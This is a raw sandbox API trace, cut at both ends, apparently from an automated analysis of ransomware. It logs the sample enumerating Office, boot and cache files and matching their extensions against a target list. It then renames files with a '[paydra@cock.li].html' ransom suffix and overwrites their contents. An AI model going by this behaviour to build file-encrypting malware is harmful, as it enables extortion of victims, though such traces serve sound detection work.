Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0062.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0062.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0062.506] lstrlenW (lpString=".doc") returned 4 [0062.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.506] lstrlenW (lpString=".docx") returned 5 [0062.506] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0062.506] lstrlenW (lpString=".pdf") returned 4 [0062.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.506] lstrlenW (lpString=".xls") returned 4 [0062.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.506] lstrlenW (lpString=".xlsx") returned 5 [0062.507] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0062.507] lstrlenW (lpString=".ppt") returned 4 [0062.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0062.507] lstrlenW (lpString=".zip") returned 4 [0062.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.507] lstrlenW (lpString=".rar") returned 4 [0062.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.507] lstrlenW (lpString=".bz2") returned 4 [0062.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.507] lstrlenW (lpString=".7z") returned 3 [0062.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0062.507] lstrlenW (lpString=".dbf") returned 4 [0062.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0062.507] lstrlenW (lpString=".1cd") returned 4 [0062.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0062.507] lstrlenW (lpString=".jpg") returned 4 [0062.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.543] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=8256) returned 1 [0062.543] CloseHandle (hObject=0x23c) returned 1 [0062.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0062.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0062.589] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.589] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 14 os_tid = 0x9ec [0032.696] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3880480 [0032.696] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3890488 [0032.696] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500360 [0032.696] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030c0 [0032.696] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500378 [0032.697] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3b70020 [0032.697] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500390 [0032.697] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500390, Size=0x20) returned 0x4e5c78 [0032.697] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500390 [0032.697] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500390, Size=0x20) returned 0x4e5ca0 [0032.697] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.697] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.697] Wow64DisableWow64FsRedirection (in: OldValue=0x301ff58 | out: OldValue=0x301ff58*=0x0) returned 1 [0032.697] lstrlenW (lpString="kernel32.dll") returned 12 [0032.697] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5c78 | out: hHeap=0x4b0000) returned 1 [0032.697] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.697] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ca0 | out: hHeap=0x4b0000) returned 1 [0032.698] Sleep (dwMilliseconds=0x64) [0033.002] Sleep (dwMilliseconds=0x64) [0033.575] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.575] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.575] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.666] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=89168) returned 1 [0033.666] CloseHandle (hObject=0x178) returned 1 [0033.666] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0033.666] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.666] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.666] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.666] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.666] lstrlenW (lpString=".doc") returned 4 [0033.666] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.666] lstrlenW (lpString=".docx") returned 5 [0033.666] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.666] lstrlenW (lpString=".pdf") returned 4 [0033.666] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.666] lstrlenW (lpString=".xls") returned 4 [0033.666] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.666] lstrlenW (lpString=".xlsx") returned 5 [0033.666] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.666] lstrlenW (lpString=".ppt") returned 4 [0033.666] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.666] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.666] lstrlenW (lpString=".zip") returned 4 [0033.666] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.666] lstrlenW (lpString=".rar") returned 4 [0033.667] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.667] lstrlenW (lpString=".bz2") returned 4 [0033.667] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.667] lstrlenW (lpString=".7z") returned 3 [0033.667] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.667] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.667] lstrlenW (lpString=".dbf") returned 4 [0033.667] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.667] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.667] lstrlenW (lpString=".1cd") returned 4 [0033.667] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.667] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.667] lstrlenW (lpString=".jpg") returned 4 [0033.667] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.667] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.667] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.667] lstrlenW (lpString=".doc") returned 4 [0033.667] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.667] lstrlenW (lpString=".docx") returned 5 [0033.667] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.667] lstrlenW (lpString=".pdf") returned 4 [0033.667] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.667] lstrlenW (lpString=".xls") returned 4 [0033.667] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.667] lstrlenW (lpString=".xlsx") returned 5 [0033.667] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.667] lstrlenW (lpString=".ppt") returned 4 [0033.667] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.667] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.667] lstrlenW (lpString=".zip") returned 4 [0033.667] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.667] lstrlenW (lpString=".rar") returned 4 [0033.668] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.668] lstrlenW (lpString=".bz2") returned 4 [0033.668] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.668] lstrlenW (lpString=".7z") returned 3 [0033.668] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.668] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.668] lstrlenW (lpString=".dbf") returned 4 [0033.668] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.668] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.668] lstrlenW (lpString=".1cd") returned 4 [0033.668] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.668] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.668] lstrlenW (lpString=".jpg") returned 4 [0033.668] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.668] Sleep (dwMilliseconds=0x64) [0033.981] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0033.981] lstrlenW (lpString="PptLR.cab") returned 9 [0033.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.150] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=70361744) returned 1 [0034.150] CloseHandle (hObject=0x188) returned 1 [0034.150] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0034.150] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.150] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0034.151] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.151] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0034.151] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.151] ReadFile (in: hFile=0x188, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.157] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.157] ReadFile (in: hFile=0x188, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.164] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.164] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.164] ReadFile (in: hFile=0x188, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.185] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.185] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0034.294] SetEndOfFile (hFile=0x188) returned 1 [0034.294] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f51090 [0034.298] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.298] WriteFile (in: hFile=0x188, lpBuffer=0x3f51090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f51090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.299] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.299] WriteFile (in: hFile=0x188, lpBuffer=0x3f51090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f51090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.299] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.299] WriteFile (in: hFile=0x188, lpBuffer=0x3f51090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f51090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.301] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f51090 | out: hHeap=0x4b0000) returned 1 [0034.301] CloseHandle (hObject=0x188) returned 1 [0036.807] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0036.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.808] lstrlenW (lpString=".doc") returned 4 [0036.808] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0036.808] lstrlenW (lpString=".docx") returned 5 [0036.808] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0036.808] lstrlenW (lpString=".pdf") returned 4 [0036.808] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0036.808] lstrlenW (lpString=".xls") returned 4 [0036.808] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0036.808] lstrlenW (lpString=".xlsx") returned 5 [0036.808] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0036.808] lstrlenW (lpString=".ppt") returned 4 [0036.808] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0036.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.808] lstrlenW (lpString=".zip") returned 4 [0036.808] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0036.808] lstrlenW (lpString=".rar") returned 4 [0036.808] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0036.808] lstrlenW (lpString=".bz2") returned 4 [0036.808] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0036.808] lstrlenW (lpString=".7z") returned 3 [0036.808] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0036.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.808] lstrlenW (lpString=".dbf") returned 4 [0036.808] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0036.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.808] lstrlenW (lpString=".1cd") returned 4 [0036.808] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0036.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.809] lstrlenW (lpString=".jpg") returned 4 [0036.809] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0036.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.809] lstrlenW (lpString=".doc") returned 4 [0036.809] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0036.809] lstrlenW (lpString=".docx") returned 5 [0036.809] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0036.809] lstrlenW (lpString=".pdf") returned 4 [0036.809] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0036.809] lstrlenW (lpString=".xls") returned 4 [0036.809] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0036.809] lstrlenW (lpString=".xlsx") returned 5 [0036.809] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0036.809] lstrlenW (lpString=".ppt") returned 4 [0036.809] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0036.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.809] lstrlenW (lpString=".zip") returned 4 [0036.809] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0036.809] lstrlenW (lpString=".rar") returned 4 [0036.809] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0036.809] lstrlenW (lpString=".bz2") returned 4 [0036.809] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0036.809] lstrlenW (lpString=".7z") returned 3 [0036.809] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0036.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.809] lstrlenW (lpString=".dbf") returned 4 [0036.809] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0036.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.809] lstrlenW (lpString=".1cd") returned 4 [0036.809] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0036.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0036.809] lstrlenW (lpString=".jpg") returned 4 [0036.809] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0036.810] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0036.810] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0036.810] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0036.810] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2865664) returned 1 [0036.810] CloseHandle (hObject=0x188) returned 1 [0036.810] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0036.810] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.810] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0036.811] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0036.811] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.811] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.811] ReadFile (in: hFile=0x188, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.961] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.962] ReadFile (in: hFile=0x188, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.119] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.119] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.119] ReadFile (in: hFile=0x188, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.187] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.187] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0037.205] SetEndOfFile (hFile=0x188) returned 1 [0037.205] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0037.606] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: 